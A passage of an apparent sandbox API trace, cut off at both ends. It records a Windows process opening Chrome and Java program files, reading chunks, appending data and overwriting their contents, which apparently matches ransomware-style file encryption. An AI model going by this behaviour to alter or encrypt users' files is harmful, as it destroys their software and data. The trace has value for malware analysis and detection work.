lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.168] CloseHandle (hObject=0x168) returned 1 [0051.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0051.168] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.168] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x117358 [0051.168] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.169] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.169] ReleaseMutex (hMutex=0x128) returned 1 [0051.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome.exe", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome.exe", lpUsedDefaultChar=0x0) returned 10 [0051.169] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0051.171] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.172] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x116358 [0051.172] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.174] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x116358 [0051.174] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.175] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.175] WriteFile (in: hFile=0x168, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0051.176] WriteFile (in: hFile=0x168, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.176] CloseHandle (hObject=0x168) returned 1 [0051.176] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.694] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.694] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x409a8 [0051.694] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.694] ReleaseMutex (hMutex=0x128) returned 1 [0051.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="javaws.exe", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javaws.exe", lpUsedDefaultChar=0x0) returned 10 [0051.694] ReadFile (in: hFile=0x1cc, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0051.702] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3f9a8 [0051.702] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dab608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.703] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3f9a8 [0051.703] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.704] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.704] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0051.704] CloseHandle (hObject=0x1cc) returned 1 [0051.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmid.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.704] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.704] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3da8 [0051.704] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.704] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.704] ReleaseMutex (hMutex=0x128) returned 1 [0051.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rmid.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rmid.exe", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rmid.exe", lpUsedDefaultChar=0x0) returned 8 [0051.705] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.706] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2da8 [0051.706] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.707] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2da8 [0051.707] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.707] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.707] WriteFile (in: hFile=0x1cc, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.707] CloseHandle (hObject=0x1cc) returned 1 [0051.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.708] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.708] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x364427 [0051.708] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.708] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.708] ReleaseMutex (hMutex=0x128) returned 1 [0051.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="charsets.jar", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="charsets.jar", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="charsets.jar", lpUsedDefaultChar=0x0) returned 12 [0051.708] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0051.710] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0051.711] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x2000, lpOverlapped=0x0) returned 1 [0051.712] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x362427 [0051.712] ReadFile (in: hFile=0x1cc, lpBuffer=0x2806cf8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesRead=0x304f278*=0x2000, lpOverlapped=0x0) returned 1 [0051.721] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x362427 [0051.721] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x2588, lpOverlapped=0x0) returned 1 [0051.722] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.722] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0051.722] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0051.722] WriteFile (in: hFile=0x1cc, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x2000, lpOverlapped=0x0) returned 1 [0051.722] CloseHandle (hObject=0x1cc) returned 1 [0051.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.723] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.723] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6b8 [0051.723] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.723] ReleaseMutex (hMutex=0x128) returned 1 [0051.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqsmessages.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jqsmessages.properties", cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jqsmessages.properties", lpUsedDefaultChar=0x0) returned 22 [0051.723] ReadFile (in: hFile=0x1cc, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6b8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x304f2bc*=0x6b8, lpOverlapped=0x0) returned 1 [0051.725] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0051.725] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dad638*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dad638*, lpNumberOfBytesWritten=0x304f2d0*=0xc40, lpOverlapped=0x0) returned 1 [0051.725] CloseHandle (hObject=0x1cc) returned 1 [0051.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.726] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.726] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xfe8 [0051.726] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.726] ReleaseMutex (hMutex=0x128) returned 1 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_CN.properties", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0051.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_zh_CN.properties", cchWideChar=25, lpMultiByteStr=0x1e7fd8c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_zh_CN.properties", lpUsedDefaultChar=0x0) returned 25 [0051.726] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0xfe8, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f2bc*=0xfe8, lpOverlapped=0x0) returned 1 [0051.727] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0051.727] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f2d0*=0x1570, lpOverlapped=0x0) returned 1 [0051.728] CloseHandle (hObject=0x1cc) returned 1 [0051.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.728] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.728] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3e45 [0051.728] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.728] ReleaseMutex (hMutex=0x128) returned 1 [0051.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunec.jar", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sunec.jar", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sunec.jar", lpUsedDefaultChar=0x0) returned 9 [0051.728] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.730] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e45 [0051.730] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.731] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2e45 [0051.731] WriteFile (in: hFile=0x1cc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.731] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.731] WriteFile (in: hFile=0x1cc, lpBuffer=0x276d388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.732] CloseHandle (hObject=0x1cc) returned 1 [0051.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0051.732] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.732] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x13bd8 [0051.732] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0051.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.732] ReleaseMutex (hMutex=0x128) returned 1 [0051.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightItalic.ttf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaBrightItalic.ttf", cchWideChar=22, lpMultiByteStr=0x1e7894c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaBrightItalic.ttf", lpUsedDefaultChar=0x0) returned 22 [0051.732] ReadFile (in: hFile=0x1cc, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.734] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12bd8 [0051.734] ReadFile (in: hFile=0x1cc, lpBuffer=0x276d388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d388*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x12bd8 [0051.735] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.735] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0051.735] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, 